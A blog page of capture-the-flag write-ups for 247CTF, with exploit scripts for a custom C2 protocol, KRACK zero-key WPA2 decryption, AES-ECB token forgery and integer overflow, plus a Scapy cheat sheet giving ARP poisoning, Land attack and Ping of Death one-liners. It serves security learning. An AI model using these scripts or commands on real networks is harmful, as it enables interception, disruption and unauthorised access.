Hello Navi

Tech, Security & Personal Notes

We are working on our own custom command and control protocol. Can you identify any hidden features in the service? We also included a packet capture of some old sessions so you can learn how it works.

我们正在开发自己的自定义命令与控制协议。您能发现该服务中有哪些隐藏功能吗?我们还提供了一些旧会话的数据包捕获文件,以便您了解其工作原理。

PCAP Investigation with Scapy

The first step was to examine the provided packet capture (custom_protocol_log.pcap) to understand the communication pattern. I used scapy to extract and decode raw data from the TCP streams.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import TCP

PCAP_FILE = "custom_protocol_log.pcap"

def print_hex(pcap_path):
packets = rdpcap(pcap_path)
for pkt in packets:
if TCP in pkt and pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
# Attempt to decode or print as hex
print(raw.hex())
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
print_hex(PCAP_FILE)

Protocol Reversal

By analyzing the hex data from the traffic between 172.17.0.1 and 172.17.0.2, a clear pattern emerged:

1
2
3
b925afc1 00 31 00 30 00 323430323435313235
b925afc1 00 32 00 30 00 323032383630353038
b925afc1 00 33 00 32 00 33383232383038323633

The protocol structure appears to be: [Session ID] [Null] [Counter] [Null] [Command] [Null] [Checksum]

  • Session ID: A 4-byte identifier (e.g., b925afc1).
  • Counter: Increments with each request.
  • Command: Hex-encoded numbers (e.g., 30 for 0, 31 for 1, 32 for 2).
  • Checksum: A CRC32 calculation of the preceding bytes, where the result is converted to a decimal string and then hex-encoded.

Checksum Verification

Using Python to verify the CRC32 logic:

1
2
3
4
5
6
7
8
9
10
11
12
import zlib

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
# Convert CRC32 integer to decimal string, then hex-encode that string
return str(crc_val).encode().hex()

base_hex = "b925afc100310030"
print(f"Payload: {base_hex}")
print(f"Custom CRC Hex: {calc_custom_crc_hex(base_hex)}")
# Output: 323430323435313235 (Matches the PCAP!)

Solution

Exploit Script

The script enumerates the 15 single-byte command values 0x30..0x3e, corresponding to ASCII 0..9:;<=>. Encoding decimal strings 10..14 would produce different multi-byte fields and is not supported by the retained trace. CRC32 matches all three displayed request fixtures offline; the PCAP and remote command semantics have not been rerun.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
import zlib
from pwn import *

HOST = "35f9359cc67c7983.247ctf.com"
PORT = 50385
context.log_level = "info"

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
return str(crc_val).encode().hex()

def solve():
sep = "00"
counter = "31"
# 原记录覆盖单字节 0x30..0x3e;0x3a..0x3e 是标点,不是十进制 10..14
commands = [bytes([value]).hex() for value in range(0x30, 0x3f)]

for cmd in commands:
conn = None
try:
conn = remote(HOST, PORT, timeout=5)
# Receive Session ID
session_id = conn.recvline(drop=True).decode(errors="replace")
log.info(f"Session ID: {session_id} | Testing Command: {cmd}")

# Construct payload: [SessionID][00][Counter][00][Command][00][Checksum]
base_hex = f"{session_id}{sep}{counter}{sep}{cmd}"
crc_hex = calc_custom_crc_hex(base_hex)
payload = f"{base_hex}{sep}{crc_hex}"

conn.sendline(payload.encode())

raw_response = conn.recvall(timeout=3).decode(errors="replace")
try:
# Server returns hex-encoded response
decoded_response = bytes.fromhex(raw_response).decode(errors="replace")
if "247CTF" in decoded_response:
log.success(f"Flag found: {decoded_response}")
conn.close()
return
except ValueError:
log.warning(f"Failed to decode hex response: {raw_response}")
print("-" * 40)
except (EOFError, OSError, ValueError) as exc:
log.warning(f"Command {cmd} failed: {exc}")
finally:
if conn is not None:
conn.close()

if __name__ == "__main__":
solve()

Execution Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[*] Starting brute-force with commands: ['30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '3a', '3b', '3c', '3d', '3e']
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 9b2832a1
[+] Receiving all data: Done (54B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: (2\x001\x00notroot
\x003738085711
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 3907e672
[+] Receiving all data: Done (152B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: 9\x07r\x001\x00uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
\x003051696603
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: edd0a465
[+] Receiving all data: Done (96B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: Фe\x001\x00Sun Mar 1 06:57:51 UTC 2026
\x003480231763
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 705136bc
[+] Receiving all data: Done (446B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: pQ6\x001\x00 total used free shared buff/cache available
Mem: 7973384 1587756 3913000 2636 2472628 6135804
Swap: 2097148 0 2097148
\x002165499562
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: d0f8fe01
[+] Receiving all data: Done (118B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: \x01\x001\x00247CTF{<flag-redacted>}\x001655731160
[+] Flag found: \x01\x001\x00247CTF{<flag-redacted>}\x001655731160
[*] Connection closed.

[Process exited 0]

The returned flag belongs to the launched service instance; no cross-instance invariance is established. Record the generation/retrieval method and use the current instance response instead of a fixed-answer spoiler.

Our WiFi keeps disconnecting. We captured wireless traffic to try and figure out what’s happening, but it’s all temporal zeros to us! I think someone is trying to exploit a WiFi vulnerability.. Can you decrypt the traffic and gain access to the flag?

The hint "temporal zeros" and the context of a WiFi vulnerability strongly suggest the KRACK (Key Reinstallation Attack), specifically CVE-2017-13077.

Vulnerability Analysis: Why "Zeros"?

In a standard WPA2 4-way handshake, the client and AP negotiate a PTK (Pairwise Transient Key). KRACK works by intercepting and replaying Message 3 of the handshake, forcing the client to reinstall an already in-use key. This resets nonces (packet numbers) and replay counters.

For certain versions of wpa_supplicant (notably 2.4 and 2.5), a critical implementation bug exists: when the key is reinstalled, the Temporal Key (TK) is not just reused, but cleared to all zeros.

The captured 802.11 CCMP packets are encrypted using a 16-byte key of \x00 values.

The WPA2 4-way Handshake & PTK

  1. Message 1: AP sends a random number (ANonce) to the Client.
  2. Message 2: Client generates its own random number (SNonce), derives the PTK using both Nonces, and sends SNonce to the AP.
  3. Message 3: AP derives the same PTK, sends the Group Temporal Key (GTK), and instructs the Client to install the PTK.
  4. Message 4: Client confirms installation with an ACK.

The KRACK attack manipulates Message 3 to trigger the "all-zero" TK bug.

Decryption Methods

Method 1: Wireshark GUI

If you prefer a visual approach, you can configure Wireshark to decrypt the traffic using the zeroed key:

  1. Open Preferences (Ctrl + Shift + P).
  2. Go to Protocols -> IEEE 802.11.
  3. Check "Enable decryption".
  4. Click "Edit..." next to Decryption keys.
  5. Add a new key:
    • Key type: tk
    • Key: 00000000000000000000000000000000 (32 zeros)

Method 2: Scapy Script (CLI)

The following script manually reconstructs the CCM Nonce and decrypts the packets using the zeroed Temporal Key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import binascii
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from scapy.all import rdpcap
from scapy.layers.dot11 import Dot11, Dot11CCMP, Dot11QoS

PCAP_FILE = "~/Downloads/00ps.pcap"

def crack_temporal_zeros(pcap_file):
print(f"[*] Parsing {pcap_file}...")
try:
packets = rdpcap(pcap_file)
except Exception as e:
print(f"[!] File error: {e}")
return

# CVE-2017-13077 (KRACK): The bug forces the TK (Temporal Key) to all zeros.
tk_all_zeros = b"\x00" * 16

for idx, pkt in enumerate(packets):
if not pkt.haslayer(Dot11CCMP):
continue

ccmp = pkt[Dot11CCMP]

# 1. Extract Packet Number (PN), 6 bytes
pn = bytes([ccmp.PN5, ccmp.PN4, ccmp.PN3, ccmp.PN2, ccmp.PN1, ccmp.PN0])

# 2. Extract Transmitter Address (A2), 6 bytes
try:
mac_a2 = binascii.unhexlify(pkt[Dot11].addr2.replace(":", ""))
except AttributeError:
continue

# 3. Extract QoS Priority (TID)
priority = b"\x00"
if pkt.haslayer(Dot11QoS):
tid = pkt[Dot11QoS].TID & 0x0F
priority = bytes([tid])

# 4. Construct 13-byte CCM Nonce
# Nonce = Priority (1 byte) + MAC A2 (6 bytes) + PN (6 bytes)
nonce = priority + mac_a2 + pn

# 5. Assemble CTR Initial Vector (16 bytes)
# Flags (0x01) + Nonce (13 bytes) + Counter (0x0001)
iv = b"\x01" + nonce + b"\x00\x01"

# 6. Decrypt using AES-CTR (Bypassing MIC check for speed/simplicity)
cipher = Cipher(
algorithms.AES(tk_all_zeros), modes.CTR(iv), backend=default_backend()
)
decryptor = cipher.decryptor()

raw_data = ccmp.data
if len(raw_data) <= 8:
continue

ciphertext = raw_data[:-8] # Last 8 bytes are the MIC
plaintext = decryptor.update(ciphertext) + decryptor.finalize()

try:
decoded_text = plaintext.decode("utf-8", errors="ignore")
if "247CTF" in decoded_text.upper():
print(f"\n[+] Flag found in packet #{idx + 1}:")
print(f" Plaintext: {decoded_text}\n")
break
except Exception:
pass

if __name__ == "__main__":
crack_temporal_zeros(PCAP_FILE)

Flag

247CTF{[flag redacted]}

1. TCP Control Flags

Flag Name Function Use Case
SYN Synchronize Establishes connection / Syncs sequence numbers 3-way handshake start
ACK Acknowledge Confirms receipt of data/packets Connection maintenance
FIN Finish Graceful connection termination Closing session
RST Reset Immediate, forced connection termination Error handling / Port closed
PSH Push Forces data to application layer immediately Interactive sessions (SSH)
URG Urgent Marks data as priority Out-of-band data

[!INFO] Practical Insight: PSH vs. Buffering

  • Kernel Mechanism: Linux typically buffers data to optimize throughput.
  • PSH Action: Overrides buffer logic. In CTF/Traffic analysis, frequent PSH flags often indicate real-time command execution (e.g., Reverse Shell traffic).

2. Scapy Layer & Field Reference

IP Layer (IP)

  • src / dst: Source and Destination IP addresses.
  • proto: Protocol number (TCP: 6, UDP: 17, ICMP: 1).
  • ttl: Time to Live (hops).

Transport Layer (TCP / UDP)

  • sport / dport: Source and Destination ports.
  • flags: TCP control bits (e.g., S, SA, RA).
  • seq / ack: Sequence and Acknowledgment numbers (TCP).
  • load: Data payload (Raw or UDP).

Raw Layer (Raw)

The Raw layer contains unparsed binary data.

  • Access: pkt[Raw].load
  • Use: Efficient for binary pattern matching or extracting custom payloads.

3. Probing & Scanning Recipes

Host Discovery (Ping)

1
2
3
4
5
6
7
8
# ARP Ping (Local Network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

# TCP SYN Ping (Bypass ICMP filters)
ans, unans = sr(IP(dst="192.168.1.0/24")/TCP(dport=80, flags="S"))

# UDP Ping (Relies on ICMP Port Unreachable)
ans, unans = sr(IP(dst="192.168.1.*")/UDP(dport=0))

Advanced Port Scanning

1
2
3
4
5
6
7
# ACK Scan (Firewall Rule Detection)
# Response = Port Unfiltered; No Response = Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=[80, 443], flags="A"))

# Xmas Scan (FIN/PSH/URG)
# RST Response = Port Closed; No Response = Open|Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=666, flags="FPU"))

4. Network Security Testing

ARP Cache Poisoning (MitM)

1
2
3
4
5
# Manual ARP Poisoning
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), loop=1, inter=10)

# Scapy Built-in Helper
arp_mitm("target_ip", "gateway_ip")

Protocol Forgery

  • Land Attack: Source and Destination set to target IP.
    1
    send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
  • Ping of Death: Fragmented oversized ICMP packets.
    1
    send(fragment(IP(dst=target)/ICMP()/("X"*60000)))

5. Service Interaction & Sniffing

DNS Queries

1
2
# Query MX Record
ans = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="MX")))

Advanced Traceroute

1
2
3
4
5
# TCP SYN Traceroute
ans, unans = traceroute("target.com", dport=443, flags="S")

# DNS/UDP Traceroute
ans, unans = traceroute("4.2.2.1", l4=UDP()/DNS(qd=DNSQR(qname="example.com")))

Sniffing

1
2
# Sniff 802.11 Beacon frames (Requires Monitor Mode)
sniff(iface="wlan0mon", prn=lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%}"))

6. TLS Forensics: Matching Keys to Traffic

When analyzing encrypted PCAPs, you may need to find which private key (from a collection) matches a certificate found in the traffic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import glob
import os
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from scapy.all import *
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

# Configuration
PCAP_FILE = "encrypted.pcap"
KEYS_DIR = "./keys/"

load_layer("tls")

def extract_certs_from_pcap(pcap_path):
"""Extracts TLS certificates from a PCAP file."""
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
for _, x509_wrapper in tls_cert_layer.certs:
cert_list.append(x509_wrapper)
print(f"[+] Extracted Certificate: {x509_wrapper.subject}")
except Exception:
continue
return cert_list

def get_rsa_modulus(cert_obj):
"""Extracts the RSA modulus from a Scapy Cert object."""
try:
if not isinstance(cert_obj, Cert):
return None
pubkey_bytes = cert_obj.pubKey.der
public_key = serialization.load_der_public_key(pubkey_bytes)

if isinstance(public_key, rsa.RSAPublicKey):
return public_key.public_numbers().n
except Exception as e:
print(f"[-] Error parsing public key: {e}")
return None

def find_matching_key(target_modulus, keys_directory):
"""Finds a PEM private key in a directory matching the given modulus."""
print(f"[*] Searching for matching key in {keys_directory}...")

for key_file in glob.glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
return key_file
except Exception:
continue
return None

if __name__ == "__main__":
certs = extract_certs_from_pcap(PCAP_FILE)
if not certs:
print("[-] No certificates found.")
exit(1)

for cert in certs:
modulus = get_rsa_modulus(cert)
if modulus:
match = find_matching_key(modulus, KEYS_DIR)
if match:
print(f"[!] BINGO! Matching key found: {match}")
break
else:
print("[-] No matching keys found.")

Recover a XOR encryption key used to encrypt a JPG image.

Approach

XOR encryption is vulnerable when the plaintext is partially known:

  • JPG files have a known magic header: FF D8 FF E0 00 10 4A 46 49 46 00 01
  • XOR the encrypted header with known plaintext to recover the key
  • Apply the recovered key to decrypt the entire file

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from itertools import cycle

# JPG file magic header
known_header = bytes.fromhex("FF D8 FF E0 00 10 4A 46 49 46 00 01")

# 从命令行传入原始加密附件路径
import sys
if len(sys.argv) != 2:
raise SystemExit("Usage: python decrypt.py ENCRYPTED_FILE")
with open(sys.argv[1], "rb") as f:
cipher_data = f.read()

# Extract encrypted header
cipher_header = cipher_data[:12]

if len(cipher_header) != len(known_header):
raise ValueError("Encrypted file is shorter than the assumed header")

# Recover XOR key: ciphertext XOR plaintext = key
key = bytes([c ^ p for c, p in zip(cipher_header, known_header)])
print(f"[*] Calculated Key: {key.hex().upper()}")

# Decrypt entire file by applying repeating key
decrypted_data = bytes([c ^ k for c, k in zip(cipher_data, cycle(key))])

# Save decrypted image
with open("flag.jpg", "wb") as f:
f.write(decrypted_data)

print("[*] Decrypted! Check flag.jpg")

Key Insight

The script assumes this exact JFIF header and a 12-byte repeating XOR key. A known header recovers only the keystream at those positions; JPEG variants can have different markers, and a longer key cannot be recovered from these bytes alone. The real encrypted attachment and key period are unavailable, so only a synthetic 12-byte-key round trip was checked.

Flag

247CTF{[flag redacted]}

An encryption service encrypts plaintext, but blocks encryption of the impossible_flag_user string. Exploit the ECB mode implementation to forge an encrypted token that decrypts to this forbidden value.

Vulnerability

The service uses AES in ECB mode, which has critical weakness: identical plaintext blocks produce identical ciphertext blocks. By crafting specific payloads, we can:

  1. Encrypt the first 16 bytes of the target string
  2. Encrypt padding-aligned subsequent bytes
  3. Concatenate the cipher blocks to forge a valid token

Exploit Strategy

The target user is: impossible_flag_user (20 bytes)

  1. Block 1: Encrypt impossible_flag_ (16 bytes) → get first cipher block
  2. Block 2: Encrypt user + PKCS#7 padding → get second cipher block
  3. Combine: Concatenate blocks to form forged token → decrypt equals target

This construction assumes /encrypt accepts hex-encoded plaintext and encrypts caller-provided bytes under the same ECB key across both requests. If it also applies PKCS#7, its extra padding block is discarded. The local check covers block layout and unpadding only; the service and endpoint parsing have not been rerun.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import binascii
import requests

BASE_URL = "https://2c5a74f7cc3f1fdf.247ctf.com"

def solve():
# Block 1: First 16 bytes of target
part1_plain = b"impossible_flag_"
payload1 = binascii.hexlify(part1_plain).decode()
r1 = requests.get(f"{BASE_URL}/encrypt", params={"user": payload1}, timeout=10)
r1.raise_for_status()
cipher_part1 = bytes.fromhex(r1.text.strip())[:16].hex()
if len(cipher_part1) != 32:
raise ValueError("Incomplete first ciphertext block") # 32 hex chars = 16 bytes
print(f"[*] Block 1 Cipher: {cipher_part1}")

# 剩余 4 字节,PKCS#7 补 12 个 0x0c;仅取该块的密文
tail = b"user"
padding_len = 16 - len(tail)
part2_plain = tail + bytes([padding_len]) * padding_len
payload2 = binascii.hexlify(part2_plain).decode()
r2 = requests.get(f"{BASE_URL}/encrypt", params={"user": payload2}, timeout=10)
r2.raise_for_status()
cipher_part2 = bytes.fromhex(r2.text.strip())[:16].hex()
if len(cipher_part2) != 32:
raise ValueError("Incomplete second ciphertext block")
print(f"[*] Block 2 Cipher: {cipher_part2}")

# Forge token by concatenating blocks
final_token = cipher_part1 + cipher_part2
print(f"[*] Forged Token: {final_token}")

# Get flag
r_flag = requests.get(f"{BASE_URL}/get_flag", params={"user": final_token}, timeout=10)
r_flag.raise_for_status()
print(f"\n---> FLAG: {r_flag.text}")

if __name__ == "__main__":
solve()

The returned flag belongs to the launched service instance; no cross-instance invariance is established. Record the generation/retrieval method and use the current instance response instead of a fixed-answer spoiler.

Socket challenge requiring automation to solve 500 arithmetic problems programmatically. Use Python with pwntools to interface with the remote service and automate the solution.

Key Considerations

  • Library: pwntools for socket communication
  • Custom delimiter: Uses \r\n instead of standard \n
  • Approach: Parse math expressions dynamically and compute answers

The calculator accepts only a two-integer expression and a whitelisted operator; unsupported syntax stops the run. Division is exact before truncation toward zero. The offline checks cover calculation, rejection of code-like input and CRLF configuration; the 500-round remote protocol has not been rerun.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
import operator
import re
from fractions import Fraction
import pwn

HOST = "7a3875d00fa5d462.247ctf.com"
PORT = 50337
pwn.context.log_level = "info"

OPERATORS = {
"+": operator.add, "-": operator.sub, "*": operator.mul,
"/": operator.truediv, "//": operator.floordiv, "%": operator.mod,
}

def calculate(expression):
# 仅接受两个有符号整数和白名单运算符,拒绝代码与超长输入
if len(expression) > 128:
raise ValueError("Expression too long")
match = re.fullmatch(r"\s*([+-]?\d{1,20})\s*(//|[+*/%-])\s*([+-]?\d{1,20})\s*", expression)
if not match:
raise ValueError("Unsupported expression")
left, op, right = match.groups()
result = OPERATORS[op](Fraction(int(left)), Fraction(int(right)))
return int(result)

def solve_challenge():
conn = None
try:
conn = pwn.remote(HOST, PORT, timeout=10)
conn.newline = b"\r\n"
for i in range(500):
conn.recvuntil(b"answer to ")
expression = conn.recvline().decode("ascii").strip().removesuffix("?").strip()
result = calculate(expression)
conn.sendline(str(result).encode("ascii"))
pwn.log.info(f"Progress: [{i + 1}/500] Solved: {expression} = {result}")
conn.interactive()
except (ValueError, ZeroDivisionError, EOFError, OSError) as exc:
pwn.log.warning(f"Challenge stopped: {exc}")
finally:
if conn is not None:
conn.close()

if __name__ == "__main__":
solve_challenge()

Execution Output

The retained terminal excerpt shows the final two rounds only; it is not a new verification run.

1
2
3
4
5
6
7
❯ python tcp_auto.py
[+] Opening connection to 7a3875d00fa5d462.247ctf.com on port 50337: Done
[*] Progress: [499/500] Solved: 221 + 474 = 695
[*] Progress: [500/500] Solved: 4 + 449 = 453
[+] 500 problems solved! Waiting for flag...
[*] Switching to interactive mode
247CTF{<flag-redacted>}

Multi-path TCP (MPTCP) challenge: data is spread across multiple subflows. Task is to combine the requests and recover the flag.

Solution Steps

1
2
3
4
5
6
7
8
9
10
11
# 1. Merge the three PCAP files
mergecap -w merged_chall.pcap chall-i1.pcap chall-i2.pcap chall-i3.pcap

# 2. Extract TCP flows
tcpflow -r merged_chall.pcap -o ./output_dir

# 3. Concatenate already ordered payload fragments without truncating any input
cat a b c > combined.bin

# 4. Extract embedded archive with binwalk
binwalk -eM combined.bin

a, b and c denote extracted payload fragments, not filenames produced automatically by tcpflow. Their mapping, direction and data-sequence ordering must be established from MPTCP DSS options; tcpflow reconstructs individual TCP streams, not the MPTCP connection as a whole. The captures and this mapping are unavailable, so this command sequence does not yet reproduce the final archive.

Key Findings

  • Identified ZIP archive at offset 0x78145B containing 11 files
  • Extracted files include multiple JPEGs: Flag.jpg, Here.jpg, Is.jpg, NOT_A_FLAG.jpg
  • Flag is embedded in one of the extracted images
247CTF{[flag redacted]}

Find a number that is one more than itself. Specifically, a number where n > 0 && n > (n + 1).

Vulnerability

Integer overflow! In languages with fixed-size integers, the maximum value when incremented wraps around to the minimum negative value.

For a 32-bit signed integer:

  • Maximum value: 2147483647
  • 2147483647 + 1 overflows to: -2147483648 (negative)

So the condition n > (n + 1) becomes true.

Solution

1
2
3
nc 287ab557f3f29afd.247ctf.com 50088
2147483647
247CTF{<flag-redacted>}

Simply send the maximum 32-bit signed integer value.

The returned flag belongs to the launched service instance; no cross-instance invariance is established. Record the generation/retrieval method and use the current instance response instead of a fixed-answer spoiler.

Identify the flag hidden within error messages of ICMP traffic captured in a PCAP file.

Vulnerability

ICMP packets (ping replies) can carry data in their payload. The flag is exfiltrated through ICMP echo replies. ICMP is often overlooked as a potential data exfiltration channel.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from scapy.all import rdpcap
from scapy.layers.inet import ICMP

packets = rdpcap("error_reporting.pcap")
flag = b""

for p in packets:
# ICMP type 0 = Echo Reply (responses to ping requests)
if p.haslayer(ICMP) and p[ICMP].type == 0 and p.haslayer("Raw"):
flag += p["Raw"].load

with open("flag.jpg", "wb") as f:
f.write(flag)

print("[+] Extracted data saved to flag.jpg")

The extracted data is a JPG image containing the flag.

247CTF{[flag redacted]}

A hidden painting is encoded as coordinates. Connect the dots to reveal the flag.

Vulnerability

Steganography through coordinate encoding. Data is hidden in plain sight as hex coordinates.

Solution

The challenge provides a file with hex-encoded coordinates:

1
2
3
4
0x4b 0x9d0
0x44 0x974
0x33 0x92
...

Each line contains X and Y coordinates in hexadecimal format. Use Python to plot them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import matplotlib.pyplot as plt

x_coords = []
y_coords = []

with open("secret_map.txt", "r") as f:
for line in f:
line = line.strip()
if line:
parts = line.split()
x_coords.append(int(parts[0], 16))
y_coords.append(-int(parts[1], 16))

plt.scatter(x_coords, y_coords, s=1, color="black")
plt.axis("equal")
plt.axis("off")
plt.show()

When plotted, the image containing the flag.

Key Insight

Encoding data as coordinates is a simple steganographic technique. Visualizing data reveals hidden patterns that text alone cannot convey.

247CTF{[flag redacted]}